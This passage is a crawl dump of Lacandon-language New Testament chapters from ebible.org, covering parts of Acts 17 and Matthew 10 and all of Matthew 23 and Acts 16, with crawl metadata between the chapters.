Jesús ti' u quimirir ten C'uj. Baxuc a jera' C'uj caj u yesaj caj u tetaj Jesús. Ra' u beyaj ―a baywo' ts'oc u tsicbar Pablo ich a Areópago.\n32 Barej caj u yubob t'ʌn Pablo caj u ya'araj u riq'uir ti' u quimirir Jesús yʌn jun yarob caj u p'astajob, yʌn u jer jun yarob a tu ya'arajob:\n―Je' in ca' u'yicobe' a ba' ca wa'aric u jer u q'uinin.\n33 Baxuco', caj ruq'uij Pablo ich a Areópago caj bin.\n34 Chen yʌn jun yarob xib, caj u p'eri'quintajob u bʌj yejer Pablo, quire' caj u yacsajob tu yorob u t'ʌn Jesús. Tiri' ich a jun yarob, a caj u yacsajob tu yorob ti' yʌn turiri' xib u c'aba' Dionisio. Raji' u jach ts'urir tu cu much'quinticob u bʌj ich Areópago. Turiri' xquic xan, caj u yacsaj tu yor u t'ʌn Jesús, u c'aba' Dámaris. Ti' yʌn u jer jun yarob caj u yacsaj tu yor.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC17.html","date":"2022-07-01T17:35:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103943339.53\/warc\/CC-MAIN-20220701155803-20220701185803-00183.warc.gz","language":"lac","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000050067901611}","num_words":1831,"character_repetition_ratio":0.086,"word_repetition_ratio":0.007,"special_characters_ratio":0.278,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23\nJesús caj u tacajob u jo'rob u winiquirob judío a fariseojo' yejer u yʌjcamsʌyʌjirob u t'ʌn Moisés\n(Mr. 12.38‑40; Lc. 11.37‑54; 20.45‑47)\n1 Jesús caj ya'araj ti' a pimo' yejer u camsʌwinicob:\n2 ―Ocob tu beyajob yʌjcamsʌyʌjirob u t'ʌn Moisés yejer u winiquirob judío a fariseojo'. Raji'ob u beyajob quir u camsicob u t'ʌn Moisés.\n3 Quire' ra' u beyajob quir u camsiquechex u t'ʌn C'uj, rajen ca' a yʌn quibex a cu ya'ariquexob ich u t'ʌn Moisés. Chen a ba' cu man u beticob, mʌ' a yʌn cʌniquex. Cax cu chen aric ba' jach tsoy, chen cu manob ich c'as.\n4 U manob u tus camsicob u t'ʌn Moisés, baxuc cu jenmasticob u t'ʌn C'uj. Rajen u winiquirob judío mʌ' c'ucha'an yorob u quibicob. Cu chen ts'ʌricob u pach u rac'ob ca' u quibejob a ba' cu tus camsicob. Chen u wʌc'ʌs bʌjiri'ob mʌ' ju quibicob a ba' cu tus camsicob, mʌ' ju quibicob chichin.\n5 Cu tus qui' beyajob ti' C'uj soc u tus irir ten u rac'ob cu qui' c'ʌmicob u t'ʌn C'uj. Bayiri' cu tus buquinticob u noc'ob, a jach tsoy yejer u ba'yinquirir, soc sʌjta'r ten u rac'ob.\n6 Caj ya'araj Jesús:\n―U winiquirob judío a fariseojo' cu pachticob cu qui' acsicob u rac'ob tu cu qui'qui' janʌnob, tu cu naj cutar jach ts'ur, soc u tus qui' sʌjta' ten u rac'ob. Cax ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío, u c'at u cutarob tu yʌn u cutan a nojo' soc u tus sʌjta' ten u rac'ob.\n7 'U c'at yubicob u tus qui'qui' t'ʌnʌn ten u rac'ob tu nanij cu mʌnicob yo'och. U c'at yubicob u tus qui'qui' t'ʌnʌn ten u rac'ob: \"In wʌjcamsʌyʌjirech.\"\n8 Caj ya'araj Jesús:\n―Mʌ' a cha'iquex u t'ʌniquex: \"In wʌjcamsʌyʌjirech\" quire' chen winiquechex. Ca chen ariquex ti' C'uj: \"In wʌjcamsʌyʌjirech\" quire' tu cotorechex a wʌc'ʌs bʌjex.\n9 Mʌ' a cha'ic u t'ʌniquex: \"Tet\" te' ich yoc'ocab quire' turiri' ic Jach Tet a ti' yʌno' ca'anan.\n10 Mʌ' a cha'ic u t'ʌniquex: \"Jaj Ts'urir\" ―quij―, quire' yʌn techex turiri' a Jach Ts'urirex, raji' Cristo a tuchi'ta'b ten C'uj quir u taquiquechex.\n11 A mac a neno'ji' ich techex, raji' jach manan cu bin sʌjta'bir ten a wet camsawinic, wa cu cʌnic a c'urewo'.\n12 A mac a cu ya'aric: \"Jach caremen a teno'\" je' u joc'sa'r ten C'uj ti' u beyaj. Chen a mac a mʌ' ju ya'arej: \"Jach caremen\" raji' cu bin acsa'bir ten C'uj tu beyaj.\n13 Jesús caj ya'araj ti' u winiquirob judío a fariseojo' yejer u yʌjcamsʌyʌjirob u t'ʌn Moisés:\n―Otsirechex, quire' caj a tusarex ti' a rac'ob. A techexo', mʌ' a cha'iquex u c'ʌmicob u t'ʌn Cristo a rac'ob irechex ca maquiquex u jor soc mʌ' u yocarob u reyinticob C'uj ich ca'anan. Baxuc techex, mʌ' a c'ʌmiquex u t'ʌn Cristo soc a wocarex tu cu bin u reyinticob C'uj ich ca'anan.\n14 Jesús ti' toy cu t'ʌnic u winiquirob judío a fariseojo' yejer yʌjcamsʌyʌjirob u t'ʌn Moisés:\n―Otsirechex, quire' caj a tusarex ti' a rac'ob. Quire' ca tus taquiquex yatoch a xquico' a quimen u mame'. Caj a tus t'ʌniquex C'uj, oma'an u ts'ocar a tus t'ʌniquex C'uj soc u tus iricobechex a rac'ob. Rajen jach manan yaj ca bin a wu'yiquex a muc'yajex ca' bin xuruc t'ʌn.\n15 Caj ya'araj Jesús:\n―Otsirechex, quire' caj a tusariquex ti' a rac'ob. Techex, ca manex ich tu cotor yoc'ocab quir a camsiquex mac quir u c'ujinticob C'uj an ten bic ca c'ujintiquex. Caj ts'oc u cʌnicob jach manan c'aso'. Jach manan c'as a ti'obo' cax a techexo' c'asechex, chen a mac a tu cʌnajechexob jach manan c'as. Jach yaj cu bin u muc'ajob ich c'ac', mʌ' neyaj ca bin a muc'yajex ich c'ac'.\n16 'Techex, irechex a ch'op u wichob, chen a c'atex a pʌyiquex u bej u jer ch'op u wichob. Otsirechex, quire' caj a camsex a rac'ob. Mʌ' ja wirej, wa ca toc aric ti' a rac'ob, ca wa'ariquex ti'ob: \"Taj quin wa'aric tech quire' ti' yʌn carem naj tu cu naj c'ujinticob C'uj u winiquirob judío.\" Cax mʌ' ja betej a ba' ta toc a'araj quire' caj a wa'araj ti' carem naj tu cu naj c'ujinticob C'uj u winiquirob judío rajen mʌ' a betej xan. Chen wa ca toc ariquex ti' a rac'ob: \"Taj quin wa'aric tech quire' ti' yʌn oro ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío.\" Jeroj taj ca' a betex aro', quire' caj a wa'arex ti' oro a ti' yʌn ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío.\n17 Jach chich a jo'rex, quire' mʌ' ja najtiquex. Mʌ' ja wirej, jach manan co'oj a carem naj tu cu naj c'ujinticob C'uj u winiquirob judío quire' ti' ca bin a c'ujintiquex C'uj. A orojo' mʌ' nejach co'oj, chen tsoy quire' ti' yʌn ich carem naj tu ca naj c'ujintiquex C'uj.\n18 Baxuc techex caj a camsex a rac'ob: Wa ca toc aric ti' a rac'ob: \"Taj quin wa'aric tech quire' ti' yʌn u ba'yinquirir tu cu quinsic yʌrʌc' quir u ts'ic ti' C'uj.\" Cax mʌ' ju betej a ba' caj u toc araj. Chen wa mac cu toc aric ti' u rac'ob: \"Taj quin wa'aric tech quire' yʌrʌc' a tabar u quinsic ich carem naj. Jeroj ca' u toc betej a ba' caj u ya'araj.\"\n19 Jach chich a jo'rex, quire' mʌ' ja najtex. Mʌ' ja wirej, jach manan tsoy u ba'yinquirir tu cu naj quinsic yʌrʌc' wacax quir u bo'oticob u bo'orir u si'pir. Ich yoc'or u ba'yinquirir cu naj quinsob yʌrʌc' rajen jach manan tsoyir u ba'yinquirir, quire' ti' cu bo'otic u bo'orir u si'pir a rac'ob.\n20 Mʌ' ja wirej ―quij Jesús―. A mac a caj u toc arar u rac'ob quire' u ba'yinquirir tu cu naj quinsic yʌrʌc' wacax. Cu toc aric ti' a ba' yʌn yoc'or xan, mʌ' chen tu junan yʌn.\n21 Mʌ' ja wirej, a mac a caj u toc arar u rac'ob quire' ti' yʌn carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Bayiri' caj u toc araj u rac'ob xan, quire' C'uj ti' yʌn tu cu naj c'ujinticob C'uj, quire' raji' yʌnin C'uj.\n22 Wa caj a toc arex a rac'ob quire' a ba' yʌn ca'anan, caj a toc chuquex C'uj quire' ti' yʌn C'uj ca'anan tu cu bin u reyintejob C'uj tu cotor mac.\n23 'A techex u winiquirechex judío a fariseojo' yejer yʌjcamsʌyʌjirex u t'ʌn Moisés. Otsirechex, caj a chʌc jʌsex ti' C'uj u ts'ac a wo'ochex a cu ya'aric u c'aba' mienta, yejer u ts'ac a wo'ochex cu ya'aric u c'aba' anis. Yejer u ts'ac a wo'ochex, a cu ya'aric u c'aba' comino, quire' baxuc cu ya'aric ich u t'ʌn Moisés. Chen mʌ' ja quibex a ba' ts'iba'an ich u t'ʌn C'uj, a tu caj u ch'ic arex techex C'uj ca' a quibex u t'ʌn. Quire' mʌ' ja yajquintaex ti' a rac'ob. Mʌ' ca manex tu tsoyir. Mʌ' ca wacsiquex ta worex u t'ʌn C'uj. Ca' a toc rʌc quibex tu cotor u t'ʌn C'uj. Mʌ' ja p'ʌtex turiri' u t'ʌn C'uj. Quet a wu'yiquex.\n24 Quire' irechex ch'op a wichex a ca pʌyiquex u berob a rac'ob a mac ch'op u wich xan. Chen jari' ca chachtiquex a mijin ti' a wuc'urex. Chen jari' ca p'ʌtiquex u sor, an ten bic a qui' cʌnantiquex a ba' mʌ' tsoy tu t'ʌn C'uj. Chen a ba' jach tsoy tu t'ʌn C'uj, mʌ' a qui' cʌnantexi'.\n25 'Jach otsirechex, u winiquirechex judío a fariseojo' yejer u yʌjcamsʌyʌjirechex u t'ʌn Moisés. Yʌjtusariquechex ti' a rac'ob. Mʌ' ja wirej, ca chen p'o'iquex u pach a ruchex, chen ich u japnino' ec'. Baxuc u ruchirex a wo'ochex, ca p'o'iquex, ec' ich u japnin. An ten biquex a pixamex jach ec' quire' caj manex a wa'criquex u ba'tac a rac'ob, quire' jach ts'u' techex.\n26 A techexo', mʌ' ja najtex u t'ʌn C'uj u winiquirechex judío a fariseojo'. Biquinin mʌ' ja toc p'ʌtex a wac'riquex u ba'tac a rac'ob. Ca' a p'ʌtex a ts'u'tar. Wa ca yʌn p'ʌtiquex aro', caj a ruc'sajex u yeq'uir a pixamex.\n27 'A techexo', u winiquirechex judío a fariseojo' yejer yʌjcamsʌyirechex u t'ʌn Moisés. Yʌjtusarirex ti' a rac'ob. Jach otsirechex, ca tus c'ujintiquex C'uj soc u tusaricob a rac'ob: \"Jach tsoyechex\", chen jach c'asechex.\n28 Baxuc yʌnechex quire' a rac'ob cu tucric: \"Jach tsoyechex.\" Chen ca tusariquex ti' mac ca jach c'ujintiquex C'uj, rajen jach c'asechex.\n29 'Jach otsirechex, u winiquirechex judío a fariseojo' yejer u yʌjcamsʌyʌirechex u t'ʌn Moisés quire' yʌjtusarirechex ti' mac. Caj a toc ts'ʌpquintajex tunich tu t'oja'an u baquer yʌjtseq'uir u t'ʌn C'uj uch. Baxuc xan, caj a qui' banajex u pach tunich a mac qui' manob tu tsoyir uch, quir a c'ʌ'oticobex.\n30 A techexo', ca waquex ti' a rac'ob: \"Wa cuxa'anechex uch tu q'uinin ti' yʌn a nunquirex uch mʌ' ta yamtajex a mac a caj u quinsajob yʌjtseq'uirob u t'ʌn C'uj.\"\n31 Rajen quetechex yejer a nunquirex yʌjquinsirob yʌjtseq'uirob u t'ʌn C'uj, quire' p'eri' a nunquirex.\n32 Joq'uenex, ts'ocsex u beyajob a nunquirex. Bin a caj toc c'ubenex quinsbirenex yejer in camsʌwinicob.\n33 'Irechex can, a yʌc u coj a cu quinsic mac. Mʌ' ju c'uchur a worex a puts'urex ich c'ac' tu ca bin a jach muc'yajex.\n34 Caj ya'araj Jesús ti'ob:\n―Rajen ca' a qui' sarex a xiquinex, quire' yʌn in toc tuchi'tic techex a mac a cu bin tsec'tic u t'ʌn C'uj techex. Yʌn in toc tuchi'tic yʌjcamsʌyʌjirob u t'ʌn C'uj xan, yejer a mac u ne'er u t'ʌn C'uj. A techexo', bin a caj quinsiquex ya'ab mac. U jerob bin a caj c'ubiquex quinsbir ich cruz. A techexo', bin a caj jʌts'iquex u pachob u jerob tu cu naj c'ujinticob C'uj u winiquirob judío. A techexo', bin a caj chuquiquex u pachob u jerob tu cu bin ich u cajar, cax tu cu puts'urob, bin a caj chuquiquex u pachob.\n35 Rajen ca bin a bo'otiquex u bo'orir a si'pirex, quire' a mac quinsa'b ten a nunquirex, cax mʌna' c'as caj u betajob a mac quinsbir uch. Rajen bin a caj bo'otiquex u bo'orir a si'pirex, quire' quinsa'b Abel uch a mac jach tsoyir yor hasta u q'uinin caj quinsa'b Zacarías xan. Ra' u tet Berequías. Raji' caj a quinsajex ich carem naj tu ca naj c'ujintiquex C'uj. Chumuc u berir carem naj caj quinsa'b Zacarías.\n36 Caj ya'araj Jesús:\n―Taj quin wa'ariquex tech. A techexo', baje'rer a mac cuxa'an, bin a caj bo'otiquex a si'pirex. Quire' ra' u q'uinin caj a quinsajex Zacarías hasta u q'uinin caj quinsa'b Abel ten a nunquirex.\nJesús cu yoc'ar quire' u yaj u winiquirob judío ich u cajar Jerusalén\n(Lc. 13.34‑35)\n37 Caj ya'araj Jesús:\n―A techexo', u winiquirechex judío ich u cajar Jerusalén. A techexo', caj a quinsajex yʌjtseq'uirob u t'ʌn C'uj a caj in tuchi'taj. Baxuc xan, caj a rʌc ch'inajex u jo'r a mac caj in tuchi'taj ca' u tsec'tej techex u t'ʌn C'uj. Ya'ab u tenin in c'at in much'quintic techex soc in cʌnantic techex irej u nʌ' cax cu pʌyic cu much'quintic u yar yarʌn u xic'. Chen mʌ' ta cha'ex in much'quintiquechex soc in cʌnantiquechex.\n38 C'ʌ'otex ca' bin c'uchuc tu q'uinin, je' a rʌc p'ʌtiquex a cajarex soc chen saj naj, quire' mʌ' ja cha'ex in much'quintiquechex.\n39 A teno', quin wa'aric techex, mʌ' a yʌn yʌn bin a wiren hasta ca' bin c'uchuc tu q'uinin ca bin a wa'ariquex: \"Ca' ic sʌjtej Jesús, quire' raji' a mac tuchi'tac ten C'uj.\"","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT23.html","date":"2022-06-29T06:44:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00407.warc.gz","language":"lac","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000014305114746}","num_words":1867,"character_repetition_ratio":0.089,"word_repetition_ratio":0.016,"special_characters_ratio":0.282,"stopwords_ratio":0.509,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nTimoteo u yet binacob yejer Pablo yejer Silas\n1 Pablo yejer Silas caj c'uchob ich u cajar Derbe yejer u cajar Listra. Ti taro' caj u nup'ajob Timoteo a yacsmʌn tu yori'. U nʌ' Timoteo u winiquir judío a mac a yacsmʌn tu yor xan, chen u tet Timoteo u winiquir griego.\n2 A mac a yacsmʌnob tu yorob ich u cajarob Listra yejer u cajar Iconio cu ya'aricob: \"Jach tsoy a Timoteojo'.\"\n3 Pablo u c'at u pʌyic ca' xic beyaj yejer Timoteo. Chen caj yʌn ts'ira'b u yot'er Timoteo an ten bic cu naj beticob u winiquirob judío soc ca' xic yejer Pablo. Mʌ' ja wirej, tar cu bin ich u winiquirob judío quire' robob u toc erob u tet Timoteo u winiquir griego. Mʌ' u c'at u ts'iquinta'r Timoteo ten Pablo u winiquirob judío, rajen ts'ira'b Timoteo.\n4 Caj u rʌc tsicbʌtob ti' yacsmʌnob tu yorob a ba' ara'an ten a mac a teta'b ten Jesús quir u tsec'ta'r u t'ʌn yejer a ba' ara'an ten u jach ts'urirob a yacsmʌnob tu yorob a nuxibo' a ti' yʌnob ich u cajar Jerusalén. Mʌ' ja wirej, caj u tsicbʌtajob a ba' ara'an ti'ob a ba' ca' u quibob a mʌ' u winiquirob judío.\n5 Rajra' cu chichquinticob yorob a yacsmʌnob tu yorob tu cu manob Pablo yejer Silas. Ts'aja'an yor jach pimtarob jujuntur u q'uinin.\nPablo caj u wʌyʌc'taj xib a ti' yʌno' ich u ru'umin Macedonia\n6 Barej caj u ch'ʌctajob u ru'umin Frigia yejer u ru'umin Galacia, mʌ' cha'b u bin Pablo yejer u yet beyaj ten u Taj'or u Pixam C'uj ich u ru'umin Asia. Mʌ' cha'b u tsec'ticob u t'ʌn Jaj Ts'ur ti taro'.\n7 Barej caj c'uchob tu xur u ru'umin Misia, caj u tucrajob u binob ich u ru'umin Bitinia. Chen mʌ' cha'b u binob ten u Taj'or u Pixam C'uj Jesús.\n8 Jeroj caj u potmastajob tu xur u ru'umin Misia hasta caj c'uchob ich u jor u chemin c'ac'nab u c'aba' Troas.\n9 A ray ac'biro', Pablo caj u wʌyʌc'taj xib. Caj u yiraj ch'iquicbar u xibir u ru'umin Macedonia. Chich caj u ya'araj ti': \"Cojen ich u ru'umin Macedonia Pablo ca' a yam tenob.\"\n10 Barej caj ts'oc u wʌyʌc'tic xib, a ju xibir u ru'umin Macedonia. Caj u sebquintaj u bin Pablo yejer u yet beyajob. Caj u ts'aj u bʌj, quij Lucas, ich u ru'umin Macedonia. Caj binob u cʌxtej chem soc u binob. Yerob jach taj xan, tan u pʌya'r u berob ten C'uj quir u tsec'ta'r u jach tsoyir u t'ʌn C'uj ich u ru'umin Macedonia.\nPablo yejer Silas ich u cajar Filipos\n11 Caj ruc'o'onex ich u jor u chemin Troas, caj bino'onex, quij Lucas, yejer u chemin c'ac'nab. Jach taj caj bino'onex ich u petenin c'ac'nab u c'aba' Samotracia. Caj sasij caj bino'onex yejer chem quir ij c'uchurex ich u cajar Neápolis.\n12 Caj joc'o'onex, quij Lucas, ich chem, caj bino'onex ich u cajar Filipos. Ti cʌja'an gobernador tu ru'umin Macedonia. Jach co'och u cajar Filipos, mʌna' u jer jach co'och ich u ru'umin Macedonia. Caj bin u winiquirob romano ich u cajar Filipos quir u ts'urinticob u winiquirob filipos. Tiri' p'ato'onex ya'ab u q'uinin ich u cajar Filipos.\n13 Caj c'uchij tu q'uinin u je'rar u winiquirob judío caj joc'o'onex, quij Lucas, tu cajar Filipos. Caj bino'onex tu cu much'quinticob u bʌjob u winiquirob judío quir u c'ujinticob C'uj. Aro' ti' yʌn ich chi' sʌyab. U winiquirob judío ix ti' cu naj t'ʌnicob C'uj ich u chi' chan sʌyab. Jeroj caj curʌjo'onex ca' ic tsicbʌtex ti' u t'ʌn C'uj. Ti' yʌn xquic a ti' much'a'anobe'.\n14 Ti' yʌn turiri' xquic tub much'a'anob a mac cu jach c'ujintic C'uj. Raji' yubaj a ba' caj u tsicbʌtaj Pablo. U c'aba' a xquico', Lidia. Yʌjcanin bara'an chʌc noc'. Ra' cʌja'an uch ich u cajar Tiatira. C'uj yamtej Lidia quir u c'ʌmic a ba' ara'b ten Pablo.\n15 Barej caj acsa'b ja' tu jo'r Lidia yejer tu cotor mac a ti' yʌn tu yatoch Lidia. Ra' tu t'ʌnajo'onex:\n―Wa ca wiric jach taj caj in wacsaj tin wor u t'ʌn Jesús, arej in wacsechex tin watoch ―quij Lidia.\nChich caj u pʌyajo'onex rajen bino'onex.\n16 Turiri' u q'uinin tan ic binex ich ber, quij Lucas, quir ic t'ʌniquex C'uj ich chi' chan sʌyab. Jeroj tic nupajex turiri' xquic a ju c'urew mac. A je' xquic aca'an u quisinin, rajen a ba' ca' bin taque' raji' yer. Rajen a je' xiquica' cu nejaric u taq'uin ti' u jach ts'urirob. Quire' cu ya'aric a ba' ca' bin taque', rajen cu nejaric u taq'uin quir u ts'ic ti' u jach ts'urirob.\n17 Caj say a je' xquica' tu pach Pablo yejer a tenobo'. C'am caj u ya'araj ti' mac soc u yubicob:\n―A je' xibob cu yamticob C'uj a mac jach carem. Je' u tsec'ticob techex bic tabar ca ruc'siquex a si'pirex.\n18 Ya'ab u q'uinin cu ya'aric a ray xquico' ich u pach Pablo, rajen choquij yor Pablo. Caj u sut u bʌj caj u pʌctaj a ray xquico'. Caj u t'ʌnaj quisin, a aca'an ti' xquico'. Chich caj u t'ʌnaj Pablo:\n―Joq'uen quisin ich u c'aba' Jesucristo, ca' a p'ʌtej a xquico'.\nRa'iri' u q'uinin seb caj joq'uij u quisinin.\n19 Barej u jach ts'urirob a ray xquico', caj u yirajob mʌ' tu cu jaricob u taq'uinob, quire' caj u yirajob mʌna' u quisinin. Robob caj u chucajob Pablo yejer Silas caj binob purbir Pablo yejer Silas ti' u jach ts'urirob u cajar Filipos, ti' yʌnob tu cu naj canicob u ba'tac.\n20 Caj c'uchob caj u ya'arajob u jach ts'urirob a xquico':\n―A je' xibob u winiquirob judío, cu p'usic yorob mac a ti' yʌn ich u cajar Filipos.\n21 Robob cu camsicob to'onex u t'ʌn u nunquirob u winiquirob judío cax u winiquiro'onex romano. Mʌ' ja wirej, mʌ' tsoy ij cʌniquex u t'ʌn u nunquirob u winiquirob judío, quire' baxuc caj u ya'araj to'onex ic reyex César.\n22 Caj ts'iquinta'b Pablo yejer Silas ten a pimo' tu much'a'anob ich u jach ts'urirob u cajar Filipos. A juezob caj ts'a'b t'ʌn ti'ob quir u jʌtʌr u noc'ob quir u jats'ʌrob u pachob. Quir u jats'ʌrob u pachob yejer che'.\n23 Caj ts'oc ya'ab u teninob caj jats' u pachob, caj binob purbirob tu cu naj mʌ'carob mac. Ara'b ti' a yʌjcʌnanyʌjir tu cu mʌ'car mac:\n―Ca' qui' cʌnantej Pablo yejer Silas soc mʌ' u joc'arob.\n24 A yʌjcʌnanyʌjiro', caj ts'oc yubic ya'ara' ti', caj u yacsaj Pablo yejer Silas tu cuch c'arʌro' yoc. Ti c'arij u yocob ich che' quir u c'arʌr yocob. Caj u yacsaj jun c'as tu cu mʌ'car mac, a jach ch'ic tam u japnino'.\n25 Caj c'uchij chumuc ac'bir cu c'ayob Pablo yejer Silas, bayiri' xan, cu t'ʌnicob C'uj. Tan u'yabar u c'ayob Pablo yejer Silas ten a ti' yʌn u yet mʌ'ca'anob winiquirob xan.\n26 Jach seb caj tarij u ch'ic yum u pec ru'um, rajen caj pecnʌjij, cax u yoc naj tu cu mʌ'ca'anob. Jeroj caj q'uepʌjij u jor tu mʌ'c'a'anob. Rʌc pitij u mascabir u c'ʌbob tu cotor mac tu mʌ'ca'anob, caj rʌc quib yocob ich che'.\n27 Caj ajij yʌjcʌnanyʌjir tu cu naj mʌ'car mac caj u yiraj jepʌja'an u jor tu mʌ'ca'anob. Jeroj tune', caj u jaraj u mascab quir u wʌc'ʌs ramic u bʌj soc u quimin, yer puts'ob u cʌnanwinicob.\n28 Pablo c'am caj u puraj u t'ʌn ti':\n―Mʌ' a quinsic a bʌj, rʌc ti' yʌnenobi'.\n29 Yʌjcʌnanyʌjir caj u t'ʌnaj ca' tac u purej quib quir u yerc'ac'ta'r u ber. Ca' ocac tu cu mʌ'car mac, caj u c'ʌnaj yacab caj oquij. Cu quiquinrʌncʌr u c'ʌbob yejer tu cotor u winiquirir quire' jaq'uij yor. Caj c'uchij ich Pablo yejer Silas caj u puraj u bʌj ʌcʌtanob Pablo yejer Silas quir u sʌjta'.\n30 Seb caj joc'sa'b Pablo yejer Silas ten yʌjcʌnanyʌjir tu cu mʌ'car mac, caj ara'b ti' Pablo yejer Silas:\n―In yajechex ―quij―, ba' quin bin in betej quir u jawarob in si'pirob? ―quij.\n31 Robob caj u ya'arajob ti':\n―Acsej ta wor u t'ʌn in Jaj Ts'urob Jesucristo. Je' u taquiquech yejer tu cotor mac a ti' yʌn ta watoch.\n32 Caj u tsec'tajob u t'ʌn Jaj Ts'ur ich yatoch yʌjcʌnanyʌjir tu cu mʌ'car mac. Caj u rʌc u'yajob tu cotor mac a ti' yʌn ich yatoch.\n33 Cax ac'bir caj u p'o'aj tu jats' yejer che' uch. Caj u p'o'aj u q'uiq'uer tu jats'ob. Seb caj acsa'b ja' tu jo'r a yʌjcʌnanyʌjir tu cu ma'cʌr mac ten Pablo yejer tu cotor mac a ti' yʌn tu yatoch yʌjcʌnanyʌnir tu cu ma'cʌr mac.\n34 Caj ts'oc yacsa'b ja' tu jo'rob caj jansa'b Pablo yejer Bernabé tu yatoch. Raji' jach qui' yor quire' caj u yacsaj tu yor u t'ʌn Jaj Ts'ur. Bayiri' xan, tu cotor mac tu yatoch qui' yorob xan quire' tu yacsajob tu yorob xan.\n35 Caj sasij caj tuchi'ta'b policía ten a juezob u ts'urirob u cajar Filipos quir u cha'bʌr u binob Pablo yejer Silas.\n36 Caj c'uchij yʌjcʌnanyʌjir tu cu ma'cʌr mac ich Pablo yejer Silas. Raji' caj u ya'araj:\n―A juezob u ts'urirob u cajar Filipos caj u ya'arajob ca' xiquechex quire' cu cha'bʌr a binex. Rajen ca' u cʌnantechex C'uj, ca' xiquechex.\n37 Chen Pablo mʌ' ju quibaj u bin, rajen caj u ya'araj ti' a policía:\n―A teno' u winiquireno' romano, chich u jʌts'eno' ich ʌcʌtan tu cotor mac. Mʌ' ju cʌxtajob wa c'as tin betajo' wa mʌna' c'as caj in betajo'. Caj u chen mʌqueno' tu cu naj ma'cʌr mac. Baje'rer u c'atob u mucu joc'siquenob, rajen mʌ' jin binob hasta u bʌjiri' a juezob cu tarob u joc'siquenob.\n38 A policíajo', caj bin ya'arej ti' a juezob. Caj u yubob ya'ara' ten policía wa ju winiquir romano, caj u ch'ajob sajquirob a juezobo'.\n39 Caj binob a juezobo' ich Pablo yejer Silas, jeroj, caj u ya'arajob ti'ob:\n―Jawsenob, quire' tin mʌquechexob.\nCaj joc'sa'bob Pablo yejer Silas ten a juezobo' tu cu ma'cʌr winiquirob. Caj u ya'arajob ti'ob:\n―Xenex wa tsoy ta t'ʌnex, ca' xiquechex ich u jer cajar.\n40 Ti' binob Pablo yejer Silas ich yatoch Lidia, caj ts'oc u joc'sicob tu cu ma'cʌr mac uch. Jeroj caj rʌc manob yirej u yet acsa'orirob quir u chichquinticob u yorob. Caj ts'oc u yiricob u yet acsa'orirob, caj bin Pablo yejer Silas.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC16.html","date":"2022-06-27T12:17:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103331729.20\/warc\/CC-MAIN-20220627103810-20220627133810-00632.warc.gz","language":"lac","language_score":0.9999928474,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999992847442627}","num_words":1680,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nTeta'b ten Jesús a mac a cu bin tsec'ticob u t'ʌn\n(Mr. 3.13‑19; Lc. 6.12‑16)\n1 Caj ts'oc aro' Jesús caj u much'quintaj u camsʌwinicob doce. Caj u ts'aja u muc' ti'ob tu cu bin u camsʌwinicob quir u joc'sicob quisin. Cax ba' yajir, cu jawsicob.\n2 Yʌn u c'aba' caj u tetaj doce xib. A jeroj Simón, caj ca' pach u jer u c'aba' ten Jesús. Caj pach u c'aba' Pedro, Jesús. Pachir caj teta'b Andrés ten Jesús. Ra' u bʌjob Pedro, Andrés. U jer Jacobo u bʌjob Juan. Caj teta'b Juan xan. P'eri' u tetob Zebedeo Jacobo yejer Juan.\n3 Caj teta'b Felipe ten Jesús. U jer caj teta'b Bartolomé. U jer caj teta'b Tomás. U jer caj teta'b Mateo yʌjc'ʌmin u taq'uin gobernador romano. Caj teta'b Jacobo ra' u tet Alfeo. U jer teta'b Lebeo ra' pʌcha'an u jer u c'aba' Tadeo.\n4 Caj teta'b u jer Simón ra' cu sayʌr tu pach cananista. Caj teta'b Judas Iscariote, ra' caj u c'ubaj Jesús, Judas.\nJesús caj u tuchi'taj u camsʌwinicob quir u bin u tsec'ticob u t'ʌn C'uj\n(Mr. 6.7‑13; Lc. 9.1‑6)\n5 Jesús caj u tuchi'taj u camsʌwinicob doce. Caj ya'araj ti' u camsʌwinicob:\n―Mʌ' a yʌn bin a tsec'tex u t'ʌn C'uj ich u cajar u winiquirob Samaria. Mʌ' a yʌn binex a tsec'tex u t'ʌn C'uj ich a mʌ' u winiquirob judío.\n6 Jari' yʌn xenex a tsec'tex tu yʌn u jach winiquirob judío. A caj u p'ʌtob u t'ʌn C'uj. Mʌ' ja wirej, irob yʌrʌc' tʌmʌn yuc a satʌrobe'.\n7 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Xenex, tsec'tex in t'ʌn. Arex ti'ob: \"Tabar u c'uchur a mac a cu bin u reyintejob C'uj.\"\n8 Jawsex a mac u cʌnmʌnob iq'uer u ca'ob ―quij Jesús―. A ba' yajirir, jawsex ―quij Jesús―. Rʌc joc'sex u quisinin ―quij Jesús.\nCaj ya'araj Jesús ti' u camsʌwinicob:\n―Ric'sex u quimirir. Mʌ' in c'atej techex u bo'orir in muc' caj in ts'aja techex. Baxuc xan, a yamtiquex mac, mʌ' a c'atiquex u bo'orir.\n9 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Mʌ' a 